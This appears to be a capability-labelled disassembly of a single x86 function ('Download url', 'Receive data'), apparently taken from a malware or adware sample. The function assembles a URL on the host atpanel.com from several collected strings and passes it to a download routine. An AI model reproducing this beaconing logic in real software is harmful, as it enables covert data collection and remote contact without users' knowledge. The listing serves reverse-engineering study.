Function at 0x4048f0
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40f3ef
mov eax, dword fs:[0]
push eax
sub esp, 0x564
mov eax, dword [0x41401c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor edi, edi
push edi
mov dword [ebp - 4], 4
call dword [0x410174]
xor eax, eax
mov word [ebp - 0x470], ax
mov ebx, 7
push edi
mov eax, 0x4122cc
lea esi, [ebp - 0x470]
mov dword [ebp - 0x45c], ebx
mov dword [ebp - 0x460], edi
call fcn.00403530
mov byte [ebp - 4], 5
xor ecx, ecx
push edi
mov eax, 0x4122cc
lea esi, [ebp - 0x48c]
mov dword [ebp - 0x478], ebx
mov dword [ebp - 0x47c], edi
mov word [ebp - 0x48c], cx
call fcn.00403530
mov byte [ebp - 4], 6
mov eax, dword [ebp + 0x18]
push 0x41257c
lea edi, [ebx - 4]
lea ecx, [ebp + 8]
call fcn.004052a0
test eax, eax
je 0x4049c6
mov eax, dword [ebp + 0x18]
push 0x412584
lea ecx, [ebp + 8]
call fcn.004052a0
test eax, eax
je 0x4049c6
mov eax, dword [ebp + 0x18]
push 0x412328
lea ecx, [ebp + 8]
call fcn.004052a0
test eax, eax
jne 0x4049e6
push 1
mov eax, 0x412528
lea esi, [ebp + 0x5c]
call fcn.00403530
push 1
mov eax, 0x4123e8
lea esi, [ebp + 0x78]
call fcn.00403530
jmp 0x404a5f
mov eax, dword [ebp + 0x18]
push 0x412358
lea ecx, [ebp + 8]
call fcn.004052a0
test eax, eax
jne 0x404a4f
push 1
mov eax, 0x412528
lea esi, [ebp + 0x5c]
call fcn.00403530
mov eax, 0x4123ec
lea ecx, [ebp - 0x454]
call fcn.00403010
lea edx, [ebp + 0x78]
push edx
lea edx, [ebp - 0x454]
lea ecx, [ebp + 0x40]
mov byte [ebp - 4], bl
call fcn.00404100
add esp, 4
mov byte [ebp - 4], 6
cmp dword [ebp - 0x440], 8
jb 0x404a5f
mov eax, dword [ebp - 0x454]
push eax
call fcn.0040580e
add esp, 4
jmp 0x404a5f
mov eax, dword [ebp + 0x18]
push 0x4123e0
lea ecx, [ebp + 8]
call fcn.004052a0
lea ecx, [ebp - 0x518]
call fcn.004045a0
lea ecx, [ebp - 0x4c4]
mov byte [ebp - 4], 8
call fcn.00404440
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x570], esp
xor esi, esi
mov byte [ebp - 4], 9
push esi
lea eax, [ebp + 0x40]
xor edx, edx
push eax
mov dword [ecx + 0x14], ebx
mov dword [ecx + 0x10], esi
or eax, 0xffffffff
mov word [ecx], dx
call fcn.00403150
lea edi, [ebp - 0x4fc]
call fcn.00404660
mov ecx, esp
mov dword [ebp - 0x570], esp
mov byte [ebp - 4], 0xa
push esi
lea eax, [ebp + 0x40]
xor edx, edx
push eax
mov dword [ecx + 0x14], ebx
mov dword [ecx + 0x10], esi
or eax, 0xffffffff
mov word [ecx], dx
call fcn.00403150
lea ecx, [ebp - 0x534]
push ecx
call fcn.00404820
add esp, 4
mov ecx, esp
mov dword [ebp - 0x570], esp
mov byte [ebp - 4], 0xb
push esi
lea eax, [ebp + 0x40]
xor edx, edx
push eax
mov dword [ecx + 0x14], ebx
mov dword [ecx + 0x10], esi
or eax, 0xffffffff
mov word [ecx], dx
call fcn.00403150
lea edi, [ebp - 0x4e0]
call fcn.00404740
add esp, 0x1c
push 0x1f
mov eax, str.http:__www.atpanel.com_xiaobai.
lea ecx, [ebp - 0x470]
mov byte [ebp - 4], 0xc
call fcn.00403400
push esi
lea ecx, [ebp + 0x40]
push ecx
or eax, 0xffffffff
lea esi, [ebp - 0x470]
call fcn.00403310
push 0
lea edx, [ebp + 8]
push edx
or eax, 0xffffffff
call fcn.00403310
lea eax, [ebp - 0x454]
push 0x4123a8
push eax
lea ebx, [ebp - 0x518]
call fcn.00403a10
add esp, 8
mov byte [ebp - 4], 0xd
push 0
push eax
or eax, 0xffffffff
call fcn.00403310
mov byte [ebp - 4], 0xc
cmp dword [ebp - 0x440], 8
jb 0x404b8e
mov ecx, dword [ebp - 0x454]
push ecx
call fcn.0040580e
add esp, 4
lea edx, [ebp - 0x454]
push 0x4123b0
push edx
lea ebx, [ebp - 0x4c4]
call fcn.00403a10
add esp, 8
push 0
push eax
or eax, 0xffffffff
lea esi, [ebp - 0x470]
mov byte [ebp - 4], 0xe
call fcn.00403310
mov byte [ebp - 4], 0xc
cmp dword [ebp - 0x440], 8
jb 0x404bd9
mov eax, dword [ebp - 0x454]
push eax
call fcn.0040580e
add esp, 4
lea ecx, [ebp - 0x454]
push 0x4125d0
push ecx
lea ebx, [ebp - 0x4fc]
call fcn.00403a10
add esp, 8
push 0
push eax
or eax, 0xffffffff
lea esi, [ebp - 0x470]
mov byte [ebp - 4], 0xf
call fcn.00403310
mov byte [ebp - 4], 0xc
cmp dword [ebp - 0x440], 8
jb 0x404c24
mov edx, dword [ebp - 0x454]
push edx
call fcn.0040580e
add esp, 4
lea eax, [ebp - 0x454]
push 0x4125d8
push eax
lea ebx, [ebp + 0x40]
call fcn.00403a10
add esp, 8
push 0
push eax
or eax, 0xffffffff
lea esi, [ebp - 0x470]
mov byte [ebp - 4], 0x10
call fcn.00403310
mov byte [ebp - 4], 0xc
cmp dword [ebp - 0x440], 8
jb 0x404c6c
mov ecx, dword [ebp - 0x454]
push ecx
call fcn.0040580e
add esp, 4
lea edx, [ebp - 0x454]
push 0x4125e0
push edx
lea ebx, [ebp - 0x4e0]
call fcn.00403a10
add esp, 8
push 0
push eax
or eax, 0xffffffff
lea esi, [ebp - 0x470]
mov byte [ebp - 4], 0x11
call fcn.00403310
mov byte [ebp - 4], 0xc
cmp dword [ebp - 0x440], 8
jb 0x404cb7
mov eax, dword [ebp - 0x454]
push eax
call fcn.0040580e
add esp, 4
lea ecx, [ebp - 0x454]
push 0x4125e8
push ecx
lea ebx, [ebp + 0x5c]
call fcn.00403a10
add esp, 8
push 0
push eax
or eax, 0xffffffff
lea esi, [ebp - 0x470]
mov byte [ebp - 4], 0x12
call fcn.00403310
mov byte [ebp - 4], 0xc
cmp dword [ebp - 0x440], 8
jb 0x404cff
mov edx, dword [ebp - 0x454]
push edx
call fcn.0040580e
add esp, 4
lea eax, [ebp - 0x454]
push 0x4125f0
push eax
lea ebx, [ebp + 0x78]
call fcn.00403a10
add esp, 8
push 0
push eax
or eax, 0xffffffff
lea esi, [ebp - 0x470]
mov byte [ebp - 4], 0x13
call fcn.00403310
mov byte [ebp - 4], 0xc
cmp dword [ebp - 0x440], 8
jb 0x404d47
mov ecx, dword [ebp - 0x454]
push ecx
call fcn.0040580e
add esp, 4
push 3
mov eax, 0x4125f8
lea ecx, [ebp - 0x470]
call fcn.00403400
xor edx, edx
push 0x20
mov eax, 0x412360
lea esi, [ebp - 0x4a8]
mov dword [ebp - 0x494], 7
mov dword [ebp - 0x498], 0
mov word [ebp - 0x4a8], dx
call fcn.00403530
lea eax, [ebp - 0x518]
push eax
lea ecx, [ebp - 0x56c]
push ecx
lea ebx, [ebp - 0x4c4]
mov byte [ebp - 4], 0x14
call fcn.00403920
add esp, 8
mov ecx, eax
lea eax, [ebp - 0x4fc]
lea ebx, [ebp - 0x454]
mov byte [ebp - 4], 0x15
call fcn.004039d0
mov ecx, eax
lea eax, [ebp + 0x40]
lea ebx, [ebp - 0x550]
mov byte [ebp - 4], 0x16
call fcn.004039d0
xor edi, edi
push edi
push eax
or eax, 0xffffffff
lea esi, [ebp - 0x48c]
mov byte [ebp - 4], 0x17
call fcn.00403310
mov esi, 8
cmp dword [ebp - 0x53c], esi
jb 0x404e05
mov edx, dword [ebp - 0x550]
push edx
call fcn.0040580e
add esp, 4
xor eax, eax
mov ebx, 7
mov dword [ebp - 0x53c], ebx
mov dword [ebp - 0x540], edi
mov word [ebp - 0x550], ax
cmp dword [ebp - 0x440], esi
jb 0x404e36
mov ecx, dword [ebp - 0x454]
push ecx
call fcn.0040580e
add esp, 4
xor edx, edx
mov byte [ebp - 4], 0x14
mov dword [ebp - 0x440], ebx
mov dword [ebp - 0x444], edi
mov word [ebp - 0x454], dx
cmp dword [ebp - 0x558], esi
jb 0x404e66
mov eax, dword [ebp - 0x56c]
push eax
call fcn.0040580e
add esp, 4
lea ecx, [ebp - 0x4e0]
push ecx
lea edx, [ebp - 0x56c]
push edx
lea ebx, [ebp + 0x5c]
call fcn.00403920
add esp, 8
mov ecx, eax
lea eax, [ebp + 0x78]
lea ebx, [ebp - 0x454]
mov byte [ebp - 4], 0x18
call fcn.004039d0
push 0
push eax
or eax, 0xffffffff
lea esi, [ebp - 0x48c]
mov byte [ebp - 4], 0x19
call fcn.00403310
mov edi, 8
cmp dword [ebp - 0x440], edi
jb 0x404ec4
mov eax, dword [ebp - 0x454]
push eax
call fcn.0040580e
add esp, 4
xor ecx, ecx
mov byte [ebp - 4], 0x14
mov dword [ebp - 0x440], 7
mov dword [ebp - 0x444], 0
mov word [ebp - 0x454], cx
cmp dword [ebp - 0x558], edi
jb 0x404efc
mov edx, dword [ebp - 0x56c]
push edx
call fcn.0040580e
add esp, 4
push 0
lea eax, [ebp - 0x4a8]
push eax
or eax, 0xffffffff
lea esi, [ebp - 0x48c]
call fcn.00403310
push 0x27
lea ecx, [ebp - 0x38]
push 0
push ecx
call fcn.00408080
push 0x3ff
lea edx, [ebp - 0x437]
push 0
push edx
mov byte [ebp - 0x438], 0
call fcn.00408080
mov eax, dword [ebp - 0x48c]
add esp, 0x18
cmp dword [ebp - 0x478], edi
jae 0x404f4d
mov eax, esi
mov esi, dword [0x410084]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push eax
push 0
push 0xfde9
call esi
mov ecx, dword [ebp - 0x48c]
cmp dword [ebp - 0x478], edi
jae 0x404f7b
lea ecx, [ebp - 0x48c]
push 0
push 0
push eax
lea eax, [ebp - 0x438]
push eax
push 0xffffffffffffffff
push ecx
push 0
push 0xfde9
call esi
lea edi, [ebp - 0x38]
lea ecx, [ebp - 0x438]
call fcn.00401880
mov ebx, dword [0x41008c]
push 0
push 0
push 0xffffffffffffffff
mov ecx, edi
push ecx
push 0
push 0
call ebx
mov edi, eax
xor ecx, ecx
lea eax, [edi + 1]
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00405d92
mov esi, eax
lea eax, [edi + edi + 2]
push eax
push 0
push esi
call fcn.00408080
add esp, 0x10
push edi
push esi
push 0xffffffffffffffff
lea ecx, [ebp - 0x38]
push ecx
xor edi, edi
push edi
push edi
call ebx
push 3
mov eax, 0x4123b8
lea ecx, [ebp - 0x470]
call fcn.00403400
mov eax, esi
lea edx, [eax + 2]
jmp 0x405010
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x405010
sub eax, edx
sar eax, 1
push eax
mov eax, esi
lea ecx, [ebp - 0x470]
call fcn.00403400
mov eax, dword [ebp - 0x470]
mov ebx, 8
cmp dword [ebp - 0x45c], ebx
jae 0x405046
lea eax, [ebp - 0x470]
push edi
push edi
push eax
push edi
call dword [0x410180]
cmp esi, edi
je 0x40505d
push esi
call fcn.00405819
add esp, 4
call dword [0x410170]
cmp dword [ebp - 0x494], ebx
jb 0x40507a
mov edx, dword [ebp - 0x4a8]
push edx
call fcn.0040580e
add esp, 4
xor eax, eax
mov esi, 7
mov dword [ebp - 0x494], esi
mov dword [ebp - 0x498], edi
mov word [ebp - 0x4a8], ax
cmp dword [ebp - 0x4cc], ebx
jb 0x4050ab
mov ecx, dword [ebp - 0x4e0]
push ecx
call fcn.0040580e
add esp, 4
xor edx, edx
mov dword [ebp - 0x4cc], esi
mov dword [ebp - 0x4d0], edi
mov word [ebp - 0x4e0], dx
cmp dword [ebp - 0x520], ebx
jb 0x4050d7
mov eax, dword [ebp - 0x534]
push eax
call fcn.0040580e
add esp, 4
xor ecx, ecx
mov dword [ebp - 0x520], esi
mov dword [ebp - 0x524], edi
mov word [ebp - 0x534], cx
cmp dword [ebp - 0x4e8], ebx
jb 0x405103
mov edx, dword [ebp - 0x4fc]
push edx
call fcn.0040580e
add esp, 4
xor eax, eax
mov dword [ebp - 0x4e8], esi
mov dword [ebp - 0x4ec], edi
mov word [ebp - 0x4fc], ax
cmp dword [ebp - 0x4b0], ebx
jb 0x40512f
mov ecx, dword [ebp - 0x4c4]
push ecx
call fcn.0040580e
add esp, 4
xor edx, edx
mov dword [ebp - 0x4b0], esi
mov dword [ebp - 0x4b4], edi
mov word [ebp - 0x4c4], dx
cmp dword [ebp - 0x504], ebx
jb 0x40515b
mov eax, dword [ebp - 0x518]
push eax
call fcn.0040580e
add esp, 4
xor ecx, ecx
mov dword [ebp - 0x504], esi
mov dword [ebp - 0x508], edi
mov word [ebp - 0x518], cx
cmp dword [ebp - 0x478], ebx
jb 0x405187
mov edx, dword [ebp - 0x48c]
push edx
call fcn.0040580e
add esp, 4
xor eax, eax
mov dword [ebp - 0x478], esi
mov dword [ebp - 0x47c], edi
mov word [ebp - 0x48c], ax
cmp dword [ebp - 0x45c], ebx
jb 0x4051b3
mov ecx, dword [ebp - 0x470]
push ecx
call fcn.0040580e
add esp, 4
xor edx, edx
mov dword [ebp - 0x45c], esi
mov dword [ebp - 0x460], edi
mov word [ebp - 0x470], dx
cmp dword [ebp + 0x1c], ebx
jb 0x4051d9
mov eax, dword [ebp + 8]
push eax
call fcn.0040580e
add esp, 4
xor ecx, ecx
mov dword [ebp + 0x1c], esi
mov dword [ebp + 0x18], edi
mov word [ebp + 8], cx
cmp dword [ebp + 0x38], ebx
jb 0x4051f6
mov edx, dword [ebp + 0x24]
push edx
call fcn.0040580e
add esp, 4
xor eax, eax
mov dword [ebp + 0x38], esi
mov dword [ebp + 0x34], edi
mov word [ebp + 0x24], ax
cmp dword [ebp + 0x54], ebx
jb 0x405213
mov ecx, dword [ebp + 0x40]
push ecx
call fcn.0040580e
add esp, 4
xor edx, edx
mov dword [ebp + 0x54], esi
mov dword [ebp + 0x50], edi
mov word [ebp + 0x40], dx
cmp dword [ebp + 0x70], ebx
jb 0x405230
mov eax, dword [ebp + 0x5c]
push eax
call fcn.0040580e
add esp, 4
xor ecx, ecx
mov dword [ebp + 0x70], esi
mov dword [ebp + 0x6c], edi
mov word [ebp + 0x5c], cx
cmp dword [ebp + 0x8c], ebx
jb 0x405250
mov edx, dword [ebp + 0x78]
push edx
call fcn.0040580e
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004055b6
mov esp, ebp
pop ebp
ret